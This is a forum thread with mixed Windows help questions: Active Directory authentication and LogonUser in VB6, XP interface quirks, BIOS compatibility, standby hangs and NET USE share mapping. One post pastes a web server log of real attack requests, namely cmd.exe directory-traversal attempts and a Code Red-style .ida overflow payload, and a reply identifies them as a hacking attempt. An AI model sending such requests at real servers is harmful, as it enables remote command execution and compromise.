|
We are moving our Client/Server applications over to Windows Authentication; however I have run into a snag. I have read a few articles showing how to connect to an LDAP Server using Active Directory and ADO, which looks like it implements some sort of SQL like statement to query the database. The problem that I am seeing is that in the From section of the statement you are specifying what looks like a directory path/folder level of sorts. Could someone clear some of this up for me? We would like to require the user to reenter their Windows username and password and validate this is correct before letting them run the application. Please fill me in on any information that you can suggest, I am really stumped here. Thanks in advance.
Nick Parker
Actually, real programmers don't need the enter key- they just type in 00001101."
|
|
|
|
|
"directory path/folder lvel of sorts" is probably the LDAP path under which to preform the requested statment you are passing to ADO. AD and LDAP is quite simple and straight foward. MS designed it to be very fast for reading, but updating (especially in a forest) is slow. MS even provides COM objects for talking with AD through ADSI interfaces. The 2000 Dev Days had a whole track on using AD/ADSI and provided an example for doing something similar.
To validate a user logging in you could bypass using ADSI and just attempt loggin them on in determining if they failed or not. ADSI lets you set and clear passwords but doesn't provide a way for you to log and authenicate a user (that I recall) That is why websites that use NT authenication use NTLM that is available with IE for restricted website access.
If the application you are writing is a windows application that the user runs at their machines you can use the currently logged on use as authentication and limit their access to AD that way, this is what the Dev Days track showed as well as a web example.
Cheers,
-Erik
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
My thoughts are my own and reflect on no other.
|
|
|
|
|
Erik,
Thanks for the reply so quickly. The main application that I am working on now holds a lot of sensitive material (i.e. - credit card numbers). If the user we to walk away from their desktop and not lock their computer down, we would have no way of keeping another individual from accessing this information. Do you still feel that something like this could be done, as if it were making the user re-login to Windows, but only point to the application? I wasn't quite sure where you were going with that. Thank you.
Nick Parker
Actually, real programmers don't need the enter key- they just type in 00001101."
|
|
|
|
|
You can make a user "login" for just your app but using LogonUser, this will authenticate them for the domain or workstation.
Cheers,
-Erik
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
My thoughts are my own and reflect on no other.
|
|
|
|
|
Is there a way for me to implement the LogonUser method in VB6? I know that most everyone on here does C++, but I work in a VB shop only. I looked at VBAPI.com, but couldn't find anything on it. Any suggestions, thanks for all the help by the way. 
Nick Parker
Actually, real programmers don't need the enter key- they just type in 00001101."
|
|
|
|
|
I think I found something that I can use:
<br />
Private Declare Function LogonUser Lib "Advapi32" _<br />
Alias "LogonUserA" (ByVal lpszUsername As String, _<br />
ByVal lpszDomain As Any, ByVal lpszPassword As String, _<br />
ByVal dwLogonType As Long, ByVal dwLogonProvider As _<br />
Long, phToken As Long) As Long<br />
Thanks again
Nick Parker
Actually, real programmers don't need the enter key- they just type in 00001101."
|
|
|
|
|
Erik,
I have run into a snag with the LogonUser method. Calling LogonUser requires the SE_TCB_NAME privilege according to Microsoft, therefore I would need to apply this property to each/all users. Do you know of any issues related to this property being set, it sounds as if it could be somewhat dangerous to set all users with this property. Thanks again.
Nick Parker
|
|
|
|
|
using registred winXp home ed.
Does the "personalized menu" work ?
I've set them both in internet explorer advanced options and in the start menu properties ( using classic start menu )
Also, I'm francophone, and I usually write emails, and post to billboards in french. is there a way to start outlook and explorer6 and have them use the french ( canada ) keyboard layout automatically, and launch VC++ using the standard english layout ? I'm switching them manually but if I close every iExplorer, I and to reset it manually ...
Also, does the tweakUI for XP worth it ?
Thanks
Max.
|
|
|
|
|
The personalized menu doesn't kick in for a few days. How long have you had it enabled?
TweakUI for XP is well worth the download.
--Mike--
Just released - RightClick-Encrypt - Adds fast & easy file encryption to Explorer
Like the Google toolbar? Then check out UltraBar, with more features & customizable search engines!
My really out-of-date homepage
Sonork - 100.10414 AcidHelm
|
|
|
|
|
Michael Dunn wrote:
How long have you had it enabled?
for nearly a week now ...
Thanks, I'll keep waiting for it to work ...
Max.
|
|
|
|
|
Could someone please explain it to me. In all Windows before, clicking on a button in the task bar would bring that application to the top. If it were minimized, it would restore it. If it were maximized, it would iconify (win3.1 term) it.
In XP it just turns blue and blinks at you. If I don't figure out what is going on, I will 1) go insane and 2) switch to linux (not impling that you have to be crazy to use linux 
Could someone please tell me how to get the old behavior back?
Thanks!
|
|
|
|
|
Hi,
I notice that Windows XP caches authentication credentials when connecting to computers from outside a domain. How can I view this cache, and purge it?
Thanks!
Chris P.
|
|
|
|
|
I look at my PWS log
and all I can find is repeated group of hits like one below
21:44:01 12.228.180.2 GET /scripts/root.exe /c+dir 404
21:44:01 12.228.180.2 GET /MSADC/root.exe /c+dir 404
21:44:01 12.228.180.2 GET /c/winnt/system32/cmd.exe /c+dir 404
21:44:02 12.228.180.2 GET /d/winnt/system32/cmd.exe /c+dir 404
21:44:02 12.228.180.2 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500
21:44:04 12.228.180.2 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500
21:44:04 12.228.180.2 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500
21:44:05 12.228.180.2 GET /msadc/..%5c../..%5c../..%5c/..Á ../..Á ../..Á ../winnt/system32/cmd.exe /c+dir 500
21:44:05 12.228.180.2 GET /scripts/..Á ../winnt/system32/cmd.exe /c+dir 500
21:44:06 12.228.180.2 GET /scripts/winnt/system32/cmd.exe /c+dir 404
21:44:06 12.228.180.2 GET /winnt/system32/cmd.exe /c+dir 404
21:44:07 12.228.180.2 GET /winnt/system32/cmd.exe /c+dir 404
21:44:07 12.228.180.2 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500
21:44:08 12.228.180.2 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500
21:44:08 12.228.180.2 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500
21:44:08 12.228.180.2 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500
22:43:39 80.135.214.20 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200
|
|
|
|
|
Someone is trying to hack your web server. This is pretty typical and we get a huge amount of this on our production systems too. If you have the most recent SP's and security updates installed you're not in any real danger. You might want to run a virus scan anyway, though.
|
|
|
|
|
I have a BIG problem!
I need to create a temporary directory in each client pc which can only be accessed by MY program.
How can i do that??
1-Creating a "user" at program runtime that can access it and my program acting as it (is that possible??)
2-Encrypt everything inside the dir
3-...sugestions...
thanks in advance
|
|
|
|
|
I want to upgrade my 98 machine to XP. I tested the system to see if its upgradable by running PCWorld's XPReady program. It says my PC meets all requirements for the upgrade except the BIOS.
It seems my system's BIOS is created earlier than Jan 1, 2000 and XP has a problem with that. How far is it true? Will XP fails to run if the system BIOS date is earlier than Jan 1, 2000??
|
|
|
|
|
Yes , some computers will need a updated bios in order to run xp.
The best thing to do is look at your bios version and then check to see if thier is a update availbe. This can all be found on the the manufacture of your mother board's website.
|
|
|
|
|
Hi,
I want to program an application with network and database capabilities for the PocketPc and the Smertphone, what is the best environment, and how I make my application the more platform independent?
Additionally how I bring all this to Palm or the Qualcomm BREW?
WBR
"Nelle cose del mondo non e' il sapere ma il volere che puo'."
|
|
|
|
|
I discovered something new in Win2K Server last night. When I got home from a darts match late I jumped on the system (to see what's been happening at CP, of course) and, as usual, found a dark screen. This time, though, it wouldn't wake up. Keystrokes and mouse activity were uniformly ignored! Fortunately, restarting didn't damage anything, but it easily could have. The screen was in sleep mode, and I couldn't hear any disk activity, so I felt there was little risk of loss, but pushing the reset button was still spooky.
Has anyone else heard of this being a problem in Win2K? As a side-note, when I restarted I disabled BIOS power management just to ensure there would be no conflict with WIndows, but that put it into a continuous reboot loop. Re-enabling BIOS power management allowed it to restart normally.
|
|
|
|
|
I have had similar problems on XP Home once in a while.
- Matt Newman / Windows XP Activist
-Sonork ID: 100.11179
01001001 00100000 01010000 01100001 01100100 00100000 01001101 01111001 00100000 01010000 01101111 01110011 01110100 00100000 01000011 01101111 01110101 01101110 01110100
|
|
|
|
|
I have a Professional Edition and during its 2nd Stand By Mode (Standy By, then Wake Up, then Stand By), it never wakes up.
For now, no more Stand By's ...
|
|
|
|
|
i have a task to open a directory on another pc in the LAN ,this directory is shared with password,and i dont want to display dialogue for user to click . i dont know how to do this ,anybody help me?
thanks in advance.
|
|
|
|
|
NET USE \\hostname\sharename password
Tack on /PERSISTENT:YES if you want it to be a lasting connection. At a command prompt, type NET USE /? for a list of other options.
|
|
|
|
|
thank you.
can i place this command in my program code?
and is there any WindowsAPI which can do this?
|
|
|
|
|
I don't know about the Windows API - I've just begun playing with it, but this command can be put into a batch file and run from the startup folder. I used to use a variation of the NET command this way to sync all my client PCs to the same time using the server's current time setting.
One drawback is that it can leave a Command Prompt window open on completion. Adding a second command to the batch file of EXIT should close the DOS window.
|
|
|
|
General 
News 
Suggestion 
Question 
Bug 
Answer 
Joke 
Praise 
Rant 
Admin 
Submit an article or tip
